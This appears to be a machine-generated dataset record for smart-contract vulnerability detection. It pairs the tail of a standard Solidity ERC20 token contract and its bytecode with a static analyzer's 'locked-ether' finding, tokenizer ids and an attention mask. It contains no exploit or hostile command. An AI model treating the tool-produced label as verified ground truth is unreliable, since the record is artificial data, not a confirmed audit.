balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323b872dd146101c8578063313ce567146101f25780633eaaf86b1461021d57806370a082311461023257806395d89b4114610253578063a293d1e814610268578063a9059cbb14610283578063b5931f7c146102a7578063cae9ca51146102c2578063d05c78da1461032b578063dd62ed3e14610346578063e6cb90131461036d575b600080fd5b3480156100eb57600080fd5b506100f4610388565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a0360043516602435610415565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b661047c565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a03600435811690602435166044356104ae565b3480156101fe57600080fd5b506102076105a7565b6040805160ff9092168252519081900360200190f35b34801561022957600080fd5b506101b66105b0565b34801561023e57600080fd5b506101b6600160a060020a03600435166105b6565b34801561025f57600080fd5b506100f46105d1565b34801561027457600080fd5b506101b660043560243561062c565b34801561028f57600080fd5b5061018d600160a060020a0360043516602435610641565b3480156102b357600080fd5b506101b66004356024356106e5565b3480156102ce57600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261018d948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506107069650505050505050565b34801561033757600080fd5b506101b6600435602435610867565b34801561035257600080fd5b506101b6600160a060020a036004358116906024351661088c565b34801561037957600080fd5b506101b66004356024356108b7565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561040d5780601f106103e25761010080835404028352916020019161040d565b820191906000526020600020905b8154815290600101906020018083116103f057829003601f168201915b505050505081565b336000818152600560209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b6000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec546003540390565b600160a060020a0383166000908152600460205260408120546104d1908361062c565b600160a060020a0385166000908152600460209081526040808320939093556005815282822033835290522054610508908361062c565b600160a060020a03808616600090815260056020908152604080832033845282528083209490945591861681526004909152205461054690836108b7565b600160a060020a0380851660008181526004602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60025460ff1681565b60035481565b600160a060020a031660009081526004602052604090205490565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561040d5780601f106103e25761010080835404028352916020019161040d565b60008282111561063b57600080fd5b50900390565b3360009081526004602052604081205461065b908361062c565b3360009081526004602052604080822092909255600160a060020a0385168152205461068790836108b7565b600160a060020a0384166000818152600460209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b60008082116106f357600080fd5b81838115156106fe57fe5b049392505050565b336000818152600560209081526040808320600160a060020a038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a36040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018690523060448401819052608060648501908152865160848601528651600160a060020a038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b838110156107f65781810151838201526020016107de565b50505050905090810190601f1680156108235780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561084557600080fd5b505af1158015610859573d6000803e3d6000fd5b506001979650505050505050565b818102821580610881575081838281151561087e57fe5b04145b151561047657600080fd5b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b8181018281101561047657600080fd00a165627a7a72305820b46dcd75fff7f6cffb25b38c82438695bdc0dc85d4bbb7761f33a02d6dce726b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 22407, 2581, 9468, 2497, 2692, 2278, 2692, 2546, 2475, 2497, 2581, 9818, 2692, 23352, 2683, 2278, 2487, 27421, 19736, 2509, 2278, 23499, 28311, 2487, 2546, 21084, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 3647, 8785, 8278, 3206, 3647, 18900, 2232, 1063, 3853, 3647, 4215, 2094, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1007, 1025, 1065, 3853, 3647, 6342, 2497, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 2270, 5760, 5651, 1006, 21318, 3372, 1039, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1007, 1025, 1039, 1027, 1037, 1011, 1038, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]